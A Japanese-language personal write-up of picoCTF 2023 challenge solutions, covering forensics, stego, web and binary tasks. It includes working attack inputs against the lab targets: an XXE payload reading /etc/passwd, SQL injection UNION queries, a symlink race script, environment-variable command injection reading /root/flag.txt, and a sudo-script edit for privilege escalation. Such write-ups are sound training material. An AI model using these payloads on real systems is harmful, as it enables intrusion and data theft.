picoCTF2023に参加した
picoCTF 2023に参加し、 5200/9300 points, 306th/6924 でした。今回も手元にメモを取りながら解いたのでwrite-upです。 順番は基本的に取り組んだ順になっていて、特に意味はありません。
chrono
How to automate tasks to run at intervals on linux servers?
何をしたら良いのかわからず、l s-l / したら /challenge ディレクトリがあり、metadata.json があったのでcatしたらフラグが書いてあった。非想定解な気がする…
findme
Help us test the form by submiting the username as test and password as test!
test:test!
でログインしてテストに協力してくれ、という感じの問題。ログインするといくつかリダイレクトされて検索フォームのようなものに辿り着く。その際のidパラメータを見るとbase64っぽい値になっている。それらをくっつけてデコードすればよい。
hideme
Every file gets a flag. The SOC analyst saw one image been sent back and forth between two people. They decided to investigate and found out that there was more than what meets the eye here.
与えられたファイルをstringsで見てみると、secret/flag.png という明らかに怪しいモノが見つかる。が、元の画像のURLをこれに改変するタイプではなかった。
バイナリエディタで眺めると、謎のパターンの繰り返しのあとにPK..
が出てくる。50 4B 03 04
なのでZIP。オフセットは9B3B=39739なので
dd if=flag.png of=out.zip skip=39739 bs=1
で切り出す。secret/flag.png にフラグが画像で含まれている。
他の人のwrite-upで知りましたが、binwalkを使うのが手っ取り早かったようです。勉強になりました。
HideToSee
How about some hide and seek heh? Look at this image here.
atbashということはわかるものの、何をatbash変換すれば良いのかが分からずに困惑した問題。 青空白猫で開いて見ると、steghideの可能性ありと表示される。するとatbash変換されたフラグ文字列がでてくるので、cyberchefでatbash変換をかければOKだった。
MatchTheRegex
How about trying to match a regular expression
アクセスすると提出フォームらしきモノが置いてある。
ソースを見るとfetchでフラグを取得しようとしているが、ソースコードに「// ^p.....F!?
」と書いてある。
どうやらこれにマッチする正規表現を入れれば良いらしいので、入力する値はpicoCTF
でOKだった。
money-ware
Flag format: picoCTF{Malwarename} The first letter of the malware name should be capitalized and the rest lowercase. Your friend just got hacked and has been asked to pay some bitcoins to 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is going on and asks you for advice. Can you identify what malware he’s being a victim of?
上記ウォレットアドレスを検索すると、これが Petya によるものであるという記事が出てくる。picoCTF{Petya} でよい。
PcapPoisoning
How about some hide and seek heh? Download this file and find the flag.
pcapファイルが提供されるのでwiresharkで開く。 507番目のデータにおもむろにフラグが書いてある。
Permissions
Can you read files in the root file?
これもmetadata.json がそのまま読めてしまって困惑した問題。たぶん読込パーミッションが付いてるから読めるとかそういう意図だった気がする…
ReadMyCert
How about we take you on an adventure on exploring certificate signing requests Take a look at this CSR file here.
CSRが提供される。証明書のCNにフラグが書いてある。
$ openssl req -in readmycert.csr -text -noout | fgrep -i pico Subject: CN = picoCTF{read_mycert_3aa80090}, name = ctfPlayer
repetitions
Can you make sense of this file?
6回base64 --decodeするか、CyberChefで6回デコードするとフラグが出てくる。
Reverse
Try reversing this file? Can ya? I forgot the password to this file. Please find it for me?
stringsで見るとズバリ書いてある。
rotation
You will find the flag after decrypting this file
名前からしてROTxxっぽいので、CyberChefに入れてROT13を適用、AmountをいじっていくとROT18でフラグが出てくる。
Rules 2023
Read the rules of the competition and get a little bonus!
飛ばされるページのソースに、altで書いてある。
$ curl https://picoctf.org/competitions/2023-spring-rules.html | fgrep 'picoCTF{'
Safe Opener 2
What can you do with this file? I forgot the key to my safe but this file is supposed to help me with retrieving the lost key. Can you help me unlock my safe?
これもstringsで見ると書いてある。
SOAP
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?
リクエストを見てみると、XMLでリクエストを送っていることが分かる。のでXXEでLFIできそう。ブラウザが送っているリクエストをbash-cURLでコピーして、ペイロードにXXEを仕込んで送るとIDの部分に/etc/passwdの内容が含まれて返ってくる。
curl 'http://saturn.picoctf.net:59814/data' \ -H 'Accept: */*' \ -H 'Accept-Language: ja' \ -H 'Cache-Control: no-cache' \ -H 'Connection: keep-alive' \ -H 'Content-Type: application/xml' \ -H 'DNT: 1' \ -H 'Origin: http://saturn.picoctf.net:59814' \ -H 'Pragma: no-cache' \ -H 'Referer: http://saturn.picoctf.net:59814/' \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36' \ --data-raw '<!DOCTYPE data [ <!ENTITY secretData SYSTEM "file:///etc/passwd"> ]> <data><ID>&secretData;</ID></data>' \ --compressed \ --insecure
timer
You will find the flag after analysing this apk
apkが提供されるのでとりあえずunzip.
$ fgrep -ir picoCTF * Binary file classes3.dex matches $ strings classes3.dex | fgrep picoCTF
useless
There's an interesting script in the user's home directory
uselessコマンドが置いてある。見てみると、manを見ろという記述があるので man useless
すると最後の方に書いてある。
Virtual Machine 0
Can you crack this black box? We grabbed this design doc from enemy servers: Download. We know that the rotation of the red axle is input and the rotation of the blue axle is output. The following input gives the flag as output: Download.
Collada形式のオブジェクトが提供される。Blenderで開いて、文字通りブラックボックスの中身を確認すると、赤軸側から、歯数が40-8-8のギアになっている。つまり入力の赤軸を1回転させると出力の青軸が5回転する。
入力は 39722847074734820757600524178581224432297292490103995916782275668358702105 なので、これを5倍して 198614235373674103788002620892906122161486462450519979583911378341793510525 が出力になる。long_to_bytes処理をかける(CyberChefでToBase(16), FromHex)とフラグが得られる。
who is it
Someone just sent you an email claiming to be Google's co-founder Larry Page but you suspect a scam. Can you help us identify whose mail server the email actually originated from? Download the email file here. Flag: picoCTF{FirstnameLastname}
emlファイルが提供される。
Received-SPF: pass (google.com: domain of lpage@onionmail.org designates 173.249.33.206 as permitted sender) client-ip=173.249.33.206;
の記載があるので、whoisでこのIPアドレスを引くと Person: Wilhelm Zwalina の記載がある。
picoCTF{WilhelmZwalina}
でよい。
FindAndOpen
Someone might have hidden the password in the trace file. Find the key to unlock this file. This tracefile might be good to analyze.
暗号化されたflag.zipとdump.pcapが提供される。 pcapを開くと、Ethernet IIのフレームに平文でテキストが書いてある。
- Flying on Ethernet secret: Is this the flag
- iBwaWNvQ1RGe1Could the flag have been splitted?
- AABBHHPJGTFRLKVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=
- PBwaWUvQ1RGesabababkjaASKBKSBACVVAVSDDSSSSDSKJBJS
- PBwaWUvQ1RGe1Maybe try checking the other file
AABBのものだけBase64っぽい。Dataの部分だけ(VG以降)見てみるとBase64で展開できる。
This is the secret: picoCTF{R34DING_LOKd_
picoCTF{R34DING_LOKd_
がパスワードで、flag.zipが展開できる。それはちょっとずるいと思った。(フラグっぽい文字列が他のとどう繋がるのかかなり探してしまった)
hijacking
Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we've got the credentials to use on the server. SSH is running on the server.
$ cat .server.py
import base64 import os import socket ip = 'picoctf.org' response = os.system("ping -c 1 " + ip) #saving ping details to a variable host_info = socket.gethostbyaddr(ip) #getting IP from a domaine host_info_to_str = str(host_info[2]) host_info = base64.b64encode(host_info_to_str.encode('ascii')) print("Hello, this is a part of information gathering",'Host: ', host_info)
pingコマンドを打って、gethostbyaddr
したり色々したりする謎のスクリプトになっている。
sudoでなにができるか確認すると
$ sudo -l Matching Defaults entries for picoctf on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User picoctf may run the following commands on challenge: (ALL) /usr/bin/vi (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
/usr/bin/vi
がrootで起動できるし、上記のスクリプトをrootで実行することもできることがわかる。
なので、
-response = os.system("ping -c 1 " + ip) +response = os.system("chmod -R 777 /challenge; echo " + ip)
こうして実行してやれば /challenge
に移動してmetadata.jsonを表示できる。
More SQLi
Can you find the flag on this website.
ログインページが表示されるので、適当に入力してみる。
username: unko! password: UNKO!!! SQL query: SELECT id FROM users WHERE password = 'UNKO!!!' AND username = 'unko!'
とりあえず user = password = ' OR 1 = 1; --
でログインできる。
すると検索画面のような表示になる。Cityに%
を入れると全件出てきて、Algiers
と入力するとそのエントリだけ表示される。というわけでLIKEしているっぽい。
A' OR 1 = 1 --
で全件表示できているが、フラグらしきモノは見つからない。
Kampala Maybe all the tables +256 720 7705600
というのが怪しい。他の情報を漏らさせたいのでUNIONを使って探していく。
%' UNION SELECT 1, name, 3 FROM sqlite_master where type='table'; --
とすると、hints, more_table というテーブルが存在することが分かる。
%' UNION SELECT 1, sql, 3 FROM sqlite_master where name='more_table'; -- CREATE TABLE more_table (id INTEGER NOT NULL PRIMARY KEY, flag TEXT)
id, flag
という2つのカラムがあるようなので、
%' UNION SELECT *, 3 from more_table; --
でflagが得られる。
MSB
This image passes LSB statistical analysis, but we can't help but think there must be something to the visual artifacts present in this image...
青空白猫で開き、ビット抽出→RGBのMSBのみチェック。テキストが表示されるので中にフラグが書いてある。
No way out (not solved)
Put this flag in standard picoCTF format before submitting. If the flag was h1_1m_7h3_f14g submit picoCTF{h1_1m_7h3_f14g} to the platform. Windows game, Mac game
Unity問っぽい。AssetStudioで眺めても見当たらなかった。後回しにしているうちに終わってしまった。 dnSpyを使ってやるのが良かったようです。
tic-tac
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.
#include <iostream> #include <fstream> #include <unistd.h> #include <sys/stat.h> int main(int argc, char *argv[]) { if (argc != 2) { std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl; return 1; } std::string filename = argv[1]; std::ifstream file(filename); struct stat statbuf; // Check the file's status information. if (stat(filename.c_str(), &statbuf) == -1) { std::cerr << "Error: Could not retrieve file information" << std::endl; return 1; } // Check the file's owner. if (statbuf.st_uid != getuid()) { std::cerr << "Error: you don't own this file" << std::endl; return 1; } // Read the contents of the file. if (file.is_open()) { std::string line; while (getline(file, line)) { std::cout << line << std::endl; } } else { std::cerr << "Error: Could not open file" << std::endl; return 1; } return 0; }
statの結果チェックとgetlineの間にうまく対象ファイルをすげ替えてやることでTOCTOUが成立しそうに見えるので、
#!/bin/bash while true; do rm -f ln.txt touch ln.txt ln -fs flag.txt ln.txt done;
しながら
(while true; do ./txtreader ln.txt ; done) 2>&1 | grep -v Error
しておくとそのうち成立してフラグが表示される。
VNE
We've got a binary that can list directories as root, try it out !!
~/bin にstickyなファイルが置いてある。
$ ./bin Error: SECRET_DIR environment variable is not set
SECRET_DIR
を指定すると読み出してくれそう。
$ SECRET_DIR=/root ./bin Listing the content of /root as root: flag.txt
試しにセミコロンで区切ってコマンドを書いてやると素直に実行される。
$ SECRET_DIR="-laF /root; cat /root/flag.txt" ./bin Listing the content of -laF /root; cat /root/flag.txt as root: total 12 drwx------ 1 root root 22 Mar 16 01:59 ./ drwxr-xr-x 1 root root 51 Mar 19 05:07 ../ -rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc -rw-r--r-- 1 root root 161 Dec 5 2019 .profile -rw------- 1 root root 41 Mar 16 01:59 flag.txt picoCTF{Power_t0_man!pul4t3_3nv_19a6873b}
Invisible WORDs
Do you recognize this cyberpunk baddie? We don't either. AI art generators are all the rage nowadays, which makes it hard to get a reliable known cover image. But we know you'll figure it out. The suspect is believed to be trafficking in classics. That probably won't help crack the stego, but we hope it will give motivation to bring this criminal to justice!
バイナリを眺めると、00が続いたあとにPKが見える。がZIPヘッダーではない…ように見えて、2バイト後に03 04という本来のZIPヘッダーが来る。 オフセットまで読み飛ばしてから、2バイトずつ読んで保存して次の2バイトを読み捨てる処理をPythonで実装。
skip_bytes = 0x8c with open("output.bmp", "rb") as f: f.read(skip_bytes) # skip with open("result.zip", "wb") as out: bytes_read = f.read(2) while bytes_read: out.write(bytes_read) f.read(2) # skip bytes_read = f.read(2)
そのままでは破損したデータとなっているので、修復してから展開する。
$ zip -FF result.zip --out fixed.zip Fix archive (-FF) - salvage what can zip warning: Missing end (EOCDR) signature - either this archive is not readable or the end is damaged Is this a single-disk archive? (y/n): y Assuming single-disk archive Scanning for entries... copying: ZnJhbmtlbnN0ZWluLXRlc3QudHh0 (169392 bytes) Central Directory found... EOCDR found ( 1 169576)...
展開すると ZnJhbmtlbnN0ZWluLXRlc3QudHh0 というテキストファイルが出てきて、その中にフラグが書かれている。
Special
Don't power users get tired of making spelling mistakes in the shell? Not anymore! Enter Special, the Spell Checked Interface for Affecting Linux. Now, every word is properly spelled and capitalized... automatically and behind-the-scenes! Be the first to test Special in beta, and feel free to tell us all about how Special streamlines every development process that you face. When your co-workers see your amazing shell interface, just tell them: That's Special (TM)
接続すると、独自シェルっぽい何かが動いているように見える。試しにそのままEnterを押すと
Special$ Traceback (most recent call last): File "/usr/local/Special.py", line 19, in <module> elif cmd[0] == '/': IndexError: string index out of range
~
を送ってみると、シェル文字展開が行われた上で実行しようとしているような挙動に見える。
Special$ ~ ~ sh: 1: /home/ctf-player: Permission denied
とりあえずhomeから遡って/bin/lsを呼んでみると、ちゃんと取得できる。
Special$ ~/../../bin/ls / ~/../../bin/ls / bin challenge etc lib lib64 media opt root sbin sys usr boot dev home lib32 libx32 mnt proc run srv tmp var
homeを見てみると、何かがあるので辿っていくとフラグが置いてある。
Special$ ~/../../bin/ls /home/ctf-player ~/../../bin/ls /home/ctf-player blargh Special$ ~/../../../bin/cat /home/ctf-player/blargh ~/../../../bin/cat /home/ctf-player/blargh /home/ctf-player/../../../bin/cat: /home/ctf-player/blargh: Is a directory Special$ ~/../../bin/ls /home/ctf-player/blargh ~/../../bin/ls /home/ctf-player/blargh flag.txt Special$ ~/../../../bin/cat /home/ctf-player/blargh/flag.txt ~/../../../bin/cat /home/ctf-player/blargh/flag.txt picoCTF{5p311ch3ck_15_7h3_w0r57_3befb794}
Specialer
Reception of Special has been cool to say the least. That's why we made an exclusive version of Special, called Secure Comprehensive Interface for Affecting Linux Empirically Rad, or just 'Specialer'. With Specialer, we really tried to remove the distractions from using a shell. Yes, we took out spell checker because of everybody's complaining. But we think you will be excited about our new, reduced feature set for keeping you focused on what needs it the most. Please start an instance to test your very own copy of Specialer.
lsなどが封じられているので、組み込みシェルコマンドだけで探し回る。*
がカレントフォルダの全ファイルにマッチすることや、readコマンドなどを活用すればよい。
Specialer$ echo * abra ala sim Specialer$ cd abra Specialer$ echo * cadabra.txt cadaniel.txt Specialer$ read -rd '' file < cadabra.txt ; echo "$file" Nothing up my sleeve! Specialer$ read -rd '' file < cadaniel.txt ; echo "$file" Yes, I did it! I really did it! I'm a true wizard! Specialer$ cd .. Specialer$ cd ala Specialer$ echo * kazam.txt mode.txt Specialer$ read -rd '' file < kazam.txt ; echo "$file" return 0 picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_a8567b6f}
babygame01
(descはメモし忘れ)
マップとして2700バイト確保されている領域の手前にフラグ変数があり、かつ境界チェックがないので原点(0,0)からさらに戻れる。
スタート地点(4,4)から(0,0)に戻り、さらに4つ左に移動するとフラグ変数が上書きできるので、その後p
コマンドでゴールする。
aaaawwwwaaaap
babygame02
(descはメモし忘れ)
win()が0804975dにある。
PIEなし、Stack Canaryなしなのでreturn addressをここに書き換えればwin()
が呼べることになる。
Ghidraで眺めたりデバッガを仕込んだりして、move_player()
のreturn addressの位置を探すと、マップ領域の-39バイト目にあたることがわかる。
win()
は0x0804975d = 5D 97 04 08
でreturn addressは0x08049709 = 09 07 04 08
なので、先頭の09を5Dに書き換えればよい。
l<char>
というコマンドを使うと、マップのその位置にchar
の値を書き込むことができるので、これを使ってreturn addressを書き換える。
move_player()
の動作として1バイトしか書き換えられないこと、愚直に原点(0,0)から戻ると途中の領域を破壊してしまうことに注意が必要。
目的の場所の下の行まで移動してからw
で上の行にうつり、ピンポイントにその1バイトだけ書き換えればよい。5D = ]
なので、l]
コマンドで文字を書き換えてから上の行に移ればOK。
…と思ったが、なぜか本番サーバに繋いで実行するとうまくいかない。win()
にはNOPが並んでいるので、そこに着地するように他の文字で書き換えてやると通った。理由はよくわからない。。。
wwwwdddddddddddddddddddddddddddddddddddddddddddddddlow
Ready Gladiator 0
Can you make a CoreWars warrior that always loses, no ties? Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the
core warsで必ず敗北するプログラムを書け、というもの。 chatGPTに聞いたら無限にぬるぽすれば負けられるらしいのでそのようにする。
;redcode ;name Imp Ex ;assert 1 mov #0, @0 dat #0, #0 end
Ready Gladiator 1
Can you make a CoreWars warrior that wins? Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this: To get the flag, you must beat the Imp at least once out of the many rounds.
1回は勝てるようにしないといけないらしい。ググるとドワーフが紹介されているのでそれを使わせてもらう。
;redcode ;name dwarf ;assert 1 ADD #4, 3 MOV 2, @2 JMP -2 DAT #0, #0 end
Ready Gladiator 2
Can you make a CoreWars warrior that wins every single round? Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
今度はもっと勝率を上げないといけないらしい。ググるとImp killerとして下記が紹介されている。
gate equ example-10 example spl 0,<gate dat <gate
two-sum
n1 > n1 + n2 OR n2 > n1 + n2 What two positive numbers can make this possible
n1 > (n1 + n2)
を成り立たせるためには、オーバーフローさせてやればよい。
n1 > n1 + n2 OR n2 > n1 + n2 What two positive numbers can make this possible: 2000000000 2000000000 You entered 2000000000 and 2000000000 You have an integer overflow
Java Code Analysis!?! (not solved)
BookShelf Pico, my premium online book-reading service. I believe that my website is super secure. I challenge you to prove me wrong by reading the 'Flag' book!
JWTを使っていて、roleをPATCHで上書きしてやればいけるっぽい。問題はJWSの署名部分で、秘密鍵を入手する必要がある。
ここで面倒になって諦めてしまったが、実際には秘密鍵は平文でハードコードされていた。悲しみ。
UnforgottenBits (not solved)
Download this disk image and find the flag.
第3パーティションがext4で、homeの下に色々と怪しいログがあるっぽいことがわかる。
--- 2410 home/yone/Maildir/cur/1673722272.M350117P394146Q2.haynekhtnamet:2,S --- 2362 home/yone/Maildir/cur/1673722272.M376010P394146Q6.haynekhtnamet:2,S
この2ファイルが怪しそうだったが、うまく復元してやれず諦め。
感想
ププーあの人博士号持ってるのにcrypto問全然解けてないじゃないですか(笑)って言われてもぐうの音も出ない結果となりました。精進します。